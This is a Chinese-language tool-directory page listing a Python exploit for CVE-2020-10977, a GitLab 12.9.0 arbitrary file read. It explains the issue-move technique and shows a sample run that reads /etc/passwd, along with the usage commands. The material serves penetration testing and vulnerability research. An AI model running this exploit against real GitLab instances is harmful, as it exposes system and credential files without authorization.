Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2020-10977 — GitLab 12.9.0 任意文件读取 | Kitploit
工具/GitHubGitHub/thewhiteh4t/cve-2020-10977
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试红队
GitHubthewhiteh4t/cve-2020-10977

cve-2020-10977

GitLab 12.9.0 任意文件读取

查看仓库
701915年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-10977

GitLab 12.9.0 任意文件读取

目标: 12.9.0 及以下版本

测试版本: GitLab 12.8.1

在最近的一次客户项目中,我在目标上发现了一个 GitLab 实例。我在 Exploit-DB 上找到了一个 PoC,但它使用的是 LDAP 认证,而在此情况下 LDAP 禁用了,所以我编写了这个 Python 脚本,它可以使用 Web 界面进行认证。与原始 PoC 类似,它将创建两个项目、在一个项目中创建一个带有恶意 payload 的 issue,然后将该 issue 从一个项目移动到另一个项目,并自动读取文件内容。

我添加了一些功能,例如脚本会询问你要读取的绝对路径,输出内容后会再次询问另一个路径,并在退出时进行清理。当你使用 CTRL+C 退出脚本时,两个项目都会自动删除。

root@kitploit:~
$ python3 cve_2020_10977.py http://localhost twh p4ssw0rd
----------------------------------
--- CVE-2020-10977 ---------------
--- GitLab Arbitrary File Read ---
--- 12.9.0 & Below ---------------
----------------------------------

[>] Found By : vakzz       [ https://hackerone.com/reports/827052 ]
[>] PoC By   : thewhiteh4t [ https://twitter.com/thewhiteh4t      ]

[+] Target        : http://localhost
[+] Username      : twh
[+] Password      : p4ssw0rd
[+] Project Names : ProjectOne, ProjectTwo

[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : http://localhost/twh/ProjectTwo/uploads/5f74b01d2b58e4a57ca55e1ac8778650/passwd

> /etc/passwd
----------------------------------------

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.
.
.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
.
.
.
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

----------------------------------------

[>] Absolute Path to File : ^C
[-] Keyboard Interrupt
[!] Deleting ProjectOne...
[+] ProjectOne Successfully Deleted!
[!] Deleting ProjectTwo...
[+] ProjectTwo Successfully Deleted!

依赖

root@kitploit:~
pip3 install requests bs4

使用说明

在目标 GitLab 上注册一个账号,并在脚本中使用相同的凭据。

root@kitploit:~
$ python3 cve_2020_10977.py -h
usage: cve_2020_10977.py [-h] url username password

positional arguments:
  url         Target URL with http(s)://
  username    GitLab Username
  password    GitLab Password

optional arguments:
  -h, --help  show this help message and exit

致谢

  • 感谢 vakzz 发现 GitLab 中的这个漏洞
    • HackerOne 报告:https://hackerone.com/reports/827052
  • 感谢 KouroshRZ 为该漏洞创建 PoC
    • Exploit-DB:https://www.exploit-db.com/exploits/48431
下载工具